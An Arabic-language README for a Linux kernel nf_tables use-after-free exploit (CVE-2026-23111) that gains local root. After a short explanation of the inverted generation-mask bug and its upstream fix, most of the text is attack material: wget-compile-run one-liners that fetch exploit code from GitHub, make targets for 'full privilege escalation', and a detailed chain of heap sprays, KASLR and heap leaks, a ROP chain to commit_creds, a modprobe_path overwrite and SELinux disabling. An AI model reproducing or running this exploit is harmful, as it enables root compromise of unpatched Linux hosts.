
نواة لينكس nf_tables استخدام بعد التحرير (CVE-2026-23111) — LPE PoC
Linux Kernel nf_tables استعمال بعد التحرير (رفع الامتيازات المحلية) إثبات المفهوم بواسطة baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| نطاق الإصدار | الإصدار الذي تم الإصلاح فيه |
|---|---|
| 6.19-rc1 to 6.19-rc8 | 6.19-rc9+ |
| 6.13 to 6.18.9 | 6.18.10 |
| 6.7 to 6.12.69 | 6.12.70 |
| 6.4.1 to 6.5.x | EOL (لا يوجد إصلاح مستقر) |
| 6.3.10 to 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 to 6.1.162 | 6.1.163 |
| 5.15.121 to 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | إصدارات LTS مختلفة |
CVE-2026-23111 هو خطأ use-after-free في nf_tables ناتج عن فحص generation-mask معكوس في nft_map_catchall_activate(). أثناء التراجع عن معاملة فاشلة، يجب إعادة تنشيط عناصر catchall لخريطة الحكم التي تم إلغاء تنشيطها بواسطة NFT_MSG_DELSET بحيث يتم استعادة المراجع مثل مراجع سلسلة NFT_GOTO. مسار تنشيط catchall بدلاً من ذلك تجاوز العناصر غير النشطة وعالج العناصر النشطة، تاركًا عناصر catchall غير المستعادة دون إصلاح.
منطق التنشيط الصحيح لغير catchall هو:
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* تخطي النشط، معالجة غير النشط */
مسار catchall المعرض استخدم الشرط المعاكس:
if (!nft_set_elem_active(ext, genmask))
continue; /* تخطي غير النشط، معالجة النشط */
عند إعادة تراجع خريطة حكم pipapo محذوفة، يمنع هذا تشغيل nft_setelem_data_activate() للعنصر catchall غير النشط. بالنسبة لبيانات الحكم NFT_JUMP/NFT_GOTO، لا يتم استعادة المرجع للسلسلة الذي تم أخذه بواسطة nft_data_hold(). يمكن أن يؤدي تكرار تسلسل الإلغاء/التبديل/الحذف إلى دفع chain->use إلى الصفر بينما لا يزال هناك حكم آخر يحتوي على مرجع حكم صالح للسلسلة. يمكن لـ DELCHAIN لاحقًا تحرير السلسلة بينما تظل قابلة للوصول، مما يخلق UAF.
إنشاء جدول، سلسلة أساسية، سلسلة ضحية، وخريطة حكم pipapo مع catchall NFT_GOTO -> الضحية
|
الدفعة 1: حذف مجموعة pipapo، ثم فرض خطأ في المعاملة
|
مسار الإلغاء يستدعي nft_map_catchall_activate()، لكن الفحص المعكوس يتجاوز catchall غير النشط
|
يبقى catchall غير نشط ولا يتم استعادة عدد مراجع السلسلة الضحية
|
الدفعة 2: تنفيذ معاملة آمنة لتبديل مؤشر الجيل
|
الدفعة 3: حذف مجموعة pipapo بنجاح، مما يقلل من عدد مراجع السلسلة الضحية مرة أخرى
|
الدفعة 4: حذف السلسلة الضحية بينما لا يزال حكم السلسلة الأساسية يشير إليها
|
استعمال بعد التحرير عند تقييم الحزمة أو تفريغ القواعد التي تتبع مرجع الحكم المعلق
الإصلاح من المصدر هو إزالة النفي بحيث يتطابق nft_map_catchall_activate() مع nft_mapelem_activate(): يتم تخطي العناصر النشطة، وإعادة تنشيط العناصر غير النشطة، واستعادة مراجع الحكم/الكائن أثناء معالجة الإلغاء.
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
استخدم هذا إذا فشل إثبات المفهوم الكامل/v1 على النواة المستهدفة.
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
قم بتثبيت تبعيات البناء أولاً إذا لم يتمكن المترجم من العثور على رؤوس libmnl/libmnl.h أو libnftnl:
scripts/install-build-deps.sh
# أو
make deps
make # بناء إثبات المفهوم (إثبات المفهوم فقط)
make v2 # بناء إثبات المفهوم v2 (طريقة FuzzingLabs — جرب عندما يفشل v1)
make full # بناء استغلال كامل لرفع الامتيازات
make v3 # بناء مسار تقييم v3 المعاير
make run-d # تشغيل إثبات المفهوم مع إخراج التصحيح
make run-v2-d # تشغيل v2 مع إخراج التصحيح
make run-v3 # عرض استخدام/مساعدة v3
make run-full # تشغيل رفع الامتيازات الكامل
إنشاء مجموعة خرائط pipapo مع عنصر catchall (goto السلسلة الضحية)، ثم استخدام خطأ genmask المعكوس أثناء إلغاء DELSET لإفساد chain->use. بعد تقدم عداد الجيل، ينجح DELCHAIN على الرغم من المراجع المعلقة، مما يحرر السلسلة.
بعد UAF، يتم تحرير ذاكرة chain->name. نقوم برش هياكل seq_operations (32 بايت) عن طريق فتح /proc/self/stat لاستعادة فتحة ذاكرة التخزين المؤقت المحررة. قراءة حكم السلسلة الأساسية الفوري عبر NFT_MSG_GETRULE تقوم بتفريغ اسم السلسلة المسترد، مما يسرب مؤشرات دالة النواة. يضمن التحقق من الصحة قبول عناوين نص النواة القياسية فقط.
إعادة تشغيل UAF مع اسم سلسلة أطول (140 بايت → kmalloc-cg-192)، ثم رش كائنات nft_rule لاستعادة الذاكرة. مؤشرات list_head المسربة تكشف عناوين الكومة في منطقة الخريطة المباشرة.
nft_expr_ops و nft_rule_blob المزيفةblob_gen_0 للسلسلة المحررةcommit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcoreexpr->ops->eval المختطفيستخدم استغلال v2 (exploit_v2.c) التقنيات الموصوفة في كتابة FuzzingLabs ويمكن استخدامه عندما يفشل إثبات المفهوم v1. الاختلافات الرئيسية:
| المكون | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|---|---|
| تشغيل UAF | مجموعة واحدة + حكم goto فوري | مجموعتان (أسلوب FuzzingLabs) + حكم بحث |
| قراءة KASLR | NFT_MSG_GETRULE (تفريغ القواعد) | NFT_MSG_GETELEM (تفريغ العناصر) + احتياطي GETRULE |
| تسريب الكومة | رش nft_rule + تسريب list_head | سلسلة قراءة عشوائية init_ipc_ns |
| مضيف ROP | nft_rules + بيانات مستخدم الجدول | رسالة msg_msg-2k (رسالة 2048 بايت) |
| تشغيل الاختطاف | تقييم الحزمة على goto الفوري | تقييم الحزمة على catchall المجموعة الباقية |
| رفع الامتيازات | commit_creds + switch_task_namespaces | استبدال modprobe_path + تعطيل SELinux |
| مسار العودة | swapgs; iretq | msleep() (يبقى في النواة) |
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (مؤشر موسوم)
msg_queue + 0xc0 → q_messages.next → عنوان كومة msg_msg
كل خطوة تستخدم بنية السلسلة المحررة كأداة قراءة عشوائية:
بيانات مستخدم الجدول (128 بايت) تستعيد nft_chain المحرر في kmalloc-cg-128،
وعنوان نواة موضوع في الإزاحة 0x40 (حيث يوجد chain->name) يتم تفكيكه بواسطة النواة أثناء تفريغ عناصر SET_B.
مرحلة الكومة v3 تعتمد على توقع الإزاحة بدلاً من أداة قراءة عشوائية حقيقية آمنة ثنائية عبر eval. قم بمعايرة الهدف قبل تشغيل الرش النهائي:
grep msg_msg /proc/slabinfo
# قارن مع كثافة كائنات kmalloc-cg-2048، ثم نفذ مع:
./exploit_v3 --msg-msg-addr 0xffff...
# أو، عندما تكون القيمة معروفة نسبيًا لقاعدة النواة المسربة:
./exploit_v3 --msg-msg-delta 0x...
تحقق من إزاحات هياكل nftables مقابل بناء النواة الدقيق:
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)
مسح الأدوات يستخدم /proc/kcore؛ إذا كان مقيدًا، استخرج الأدوات من vmlinux دون اتصال وثبت العناوين نسبيًا لقاعدة النواة المسربة. يستخدم مسار تقييم حزمة v3 push rdi; pop rsp لأن rdi = expr؛ هذا يختلف عن مسار التحقق v2 حيث rsi = expr.